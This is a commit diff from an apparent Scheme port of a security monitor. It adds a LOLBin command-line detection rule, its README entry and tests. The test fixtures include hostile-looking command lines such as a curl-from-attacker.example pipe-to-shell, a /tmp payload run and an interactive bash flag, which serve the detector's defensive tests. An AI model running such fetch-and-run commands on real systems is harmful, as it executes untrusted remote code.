correlate Rule 11: port detect_lolbin_cmdline into lolbin.ss
ober
b9fd138fbdb55835c773446e27bd2b1c1b0ad99b
--- a/README.md +++ b/README.md @@ -101,7 +101,7 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage). | `dga::score_domain` | `typed/dga.ss` | ✅ full: lowercase + dot-trim + benign-suffix + label split + score; vectors pass (diagnostic `reasons` list pending) | | `&str` ops (lowercase/ends_with/starts_with/contains/split/whole-word) | `typed/strbytes.ss` | ✅ Bytes toolkit, vectors pass — shared by dga/lolbin/sigma | | `lolbin::score` + `severity` | `typed/lolbin.ss` | ✅ full 25-pattern table + severity buckets, plus `match-bits` (a u64 bitmask of which patterns fired, bit 0…24 in PATTERNS order) so the diagnostic breakdown needs no second copy of the matchers; vectors pass (JSON-cmdline parse stays in untyped wrapper) | -| `lolbin::LolScore` (match breakdown + JSON) | `jsecmon/lolbin.ss` | ✅ **untyped layer** — the diagnostic companion to the typed kernel: `score-cmdline` returns a `lol-score` (total from `lolbin-score-cmdline`, per-pattern `matches` decoded from `lolbin-match-bits` against a static label/score/explanation table — data, not logic), `score-json-cmdline` adds the JSON-array parse (falls back to the raw string like `from_str::<Vec<String>>`), `lol-severity`/`lol-label-summary` mirror the Rust methods. No matcher is re-implemented, so total and matches can't drift. `make lolbin-check` runs secmon's 10 `#[test]` vectors plus exact-total, label-order, and bit↔label pins. | +| `lolbin::LolScore` (match breakdown + JSON) | `jsecmon/lolbin.ss` | ✅ **untyped layer** — the diagnostic companion to the typed kernel: `score-cmdline` returns a `lol-score` (total from `lolbin-score-cmdline`, per-pattern `matches` decoded from `lolbin-match-bits` against a static label/score/explanation table — data, not logic), `score-json-cmdline` adds the JSON-array parse (falls back to the raw string like `from_str::<Vec<String>>`), `lol-severity`/`lol-label-summary` mirror the Rust methods. No matcher is re-implemented, so total and matches can't drift. Rule 11 `detect-lolbin-cmdline` (`storage::detect_lolbin_cmdline`) also lives here rather than in `correlate.ss` — it's the one correlation rule that needs the native scorer, so hosting it beside `score-json-cmdline` keeps `correlate.ss` kernel-free: it scores each `process_start` row's cmdline (row `(host ts pid proc-name cmdline exe)`), skips rows whose cmdline **and** exe are both empty (Rust `continue`), and emits a `suspicious_cmdline` anomaly seed for totals ≥50 (`pname` falls back to `"?"`). `make lolbin-check` runs secmon's 10 `#[test]` vectors plus exact-total, label-order, bit↔label pins, and the Rule-11 threshold/skip/`"?"`-fallback edges (41 cases). | | `analytics::compute_host_risks` | `typed/analytics.ss` | ✅ risk-score kernel (clamped weighted sum); vectors pass | | `analytics` grouping + `group_incidents` | `jsecmon/analytics.ss` | ✅ **untyped layer** — per-host accumulation/sort/top-N driving the risk-score kernel, plus incident dedup/collapse; secmon analytics vectors pass (`make analytics-check`) | | `storage::detect_sequence_pair` (kill-chain core) | `jsecmon/analytics.ss` | ✅ **untyped layer** — the pure pairing primitive behind `detect_priv_escalation_chain`/`lateral_after_shell`/`persistence_after_access`/`log_cover`: given two event streams as `(host . ts-ms)` lists (the SQL `ORDER BY host,timestamp_ms` fetch is deferred I/O), pair each A with the **first** same-host B strictly later and within `window-ms` — at most one per A (Rust's inner `break`) — returning `((host …) (a-ts …) (b-ts …) (gap-seconds …))` for the caller to wrap as an Anomaly (`format_ts` is calendar-deferred). `gap-seconds` is integer ms/1000 (Rust i64 `/`). `make analytics-check` adds window-edge (≤ inclusive), strictly-later, cross-host, first-B-only, multi-A, and empty-stream cases. | --- a/examples/lolbin_check.ss +++ b/examples/lolbin_check.ss @@ -92,6 +92,49 @@ (check "60 -> high" (lol-severity (make-lol-score 60 '())) "high") (check "100 -> critical" (lol-severity (make-lol-score 100 '())) "critical") +;; ── detect-lolbin-cmdline: Rule 11 over a row list (storage/mod.rs:1721) ────── +;; row = (host ts pid proc-name cmdline exe); cmdline scored via score-json-cmdline. +(displayln "detect-lolbin-cmdline:") +(def (a-rule a) (cdr (assq 'rule a))) +(def (a-desc a) (cdr (assq 'description a))) +(def (a-sev a) (cdr (assq 'severity a))) +(def (a-ts a) (cdr (assq 'timestamp-ms a))) +(def (a-dval a k) (cdr (assq k (cdr (assq 'details a))))) + +(def dl + (detect-lolbin-cmdline + (list (list "h1" 1000 4242 "bash" "curl https://attacker.example/x | sh" "/usr/bin/bash")))) +(check "one >=50 cmdline -> 1 anomaly" (length dl) 1) +(check "rule" (a-rule (car dl)) "suspicious_cmdline") +(check "severity" (a-sev (car dl)) "high") +(check "ts preserved" (a-ts (car dl)) 1000) +(check "description" + (a-desc (car dl)) + "'bash' on h1 matched LOLBin patterns [pipe-to-shell] (score 70)") +(check "score detail" (a-dval (car dl) 'score) 70) +(check "labels detail" (a-dval (car dl) 'labels) '("pipe-to-shell")) +(check "pid detail" (a-dval (car dl) 'pid) 4242) + +;; threshold is >=50: exec-from-tmp scores exactly 50 (see above) -> fires +(check "exactly 50 -> fires" + (length (detect-lolbin-cmdline + (list (list "h1" 2000 1 "payload" "./payload" "/tmp/payload")))) 1) +;; a lone interactive-shell-flag (25) is below threshold -> no anomaly +(check "below 50 -> none" + (length (detect-lolbin-cmdline + (list (list "h1" 3000 1 "bash" "bash -i" "/bin/bash")))) 0) +;; both cmdline and exe empty (None) -> skipped (Rust `continue`) +(check "empty cmdline+exe -> skipped" + (length (detect-lolbin-cmdline (list (list "h1" 4000 1 "proc" #f #f)))) 0) +;; missing process_name -> pname "?" fallback in description and details +(def dq + (detect-lolbin-cmdline + (list (list "h1" 5000 #f #f "curl https://attacker.example/x | sh" "/usr/bin/bash")))) +(check "missing proc-name -> '?' in description" + (a-desc (car dq)) + "'?' on h1 matched LOLBin patterns [pipe-to-shell] (score 70)") +(check "process-name detail '?'" (a-dval (car dq) 'process-name) "?") + (newline) (if (= fails 0) (displayln "OK: lolbin matches secmon's lolbin.rs behaviour.") --- a/jsecmon/lolbin.ss +++ b/jsecmon/lolbin.ss @@ -19,7 +19,8 @@ (export make-lol-score lol-score? lol-score-total lol-score-matches make-lol-match lol-match? lol-match-label lol-match-score lol-match-explanation - score-cmdline score-json-cmdline lol-severity lol-label-summary) + score-cmdline score-json-cmdline lol-severity lol-label-summary + detect-lolbin-cmdline) (import (except (chezscheme) make-hash-table hash-table? sort sort! @@ -123,4 +124,43 @@ ;; comma-separated label list for one-line display (Rust label_summary). (def (lol-label-summary s) - (string-join (map lol-match-label (lol-score-matches s)) ","))) + (string-join (map lol-match-label (lol-score-matches s)) ",")) + + ;; Detection Rule 11: score every process_start cmdline; total >=50 fires a + ;; suspicious_cmdline anomaly carrying the contributing labels. Row contract: + ;; (host ts pid proc-name cmdline exe) — host/ts required, pid integer|#f, + ;; proc-name/cmdline/exe string|#f (None). Rows with both cmdline and exe + ;; empty are skipped (Rust `continue`). Mirrors storage/mod.rs + ;; detect_lolbin_cmdline; the SQL fetch + Anomaly calendar fields are the + ;; caller's (deferred) boundary. + (def (lol-anomaly host ts pid proc-name cmdline-raw exe lol) + (let ((pname (if (string? proc-name) proc-name "?")) + (total (lol-score-total lol)) + (labels (lol-label-summary lol))) + (list (cons 'rule "suspicious_cmdline") + (cons 'description + (str "'" pname "' on " host " matched LOLBin patterns [" + labels "] (score " total ")")) + (cons 'severity (lol-severity lol)) + (cons 'timestamp-ms ts) + (cons 'host host) + (cons 'details + (list (cons 'process-name pname) + (cons 'pid pid) + (cons 'exe exe) + (cons 'cmdline cmdline-raw) + (cons 'score total) + (cons 'labels (map lol-match-label (lol-score-matches lol))) + (cons 'matches (lol-score-matches lol))))))) + + (def (detect-lolbin-cmdline rows) + (filter-map + (lambda (r) + (let* ((host (car r)) (ts (cadr r)) (pid (caddr r)) + (proc-name (cadddr r)) + (cmdline-raw (or (list-ref r 4) "")) (exe (or (list-ref r 5) ""))) + (and (not (and (string-empty? cmdline-raw) (string-empty? exe))) + (let ((lol (score-json-cmdline cmdline-raw exe))) + (and (>= (lol-score-total lol) 50) + (lol-anomaly host ts pid proc-name cmdline-raw exe lol)))))) + rows)))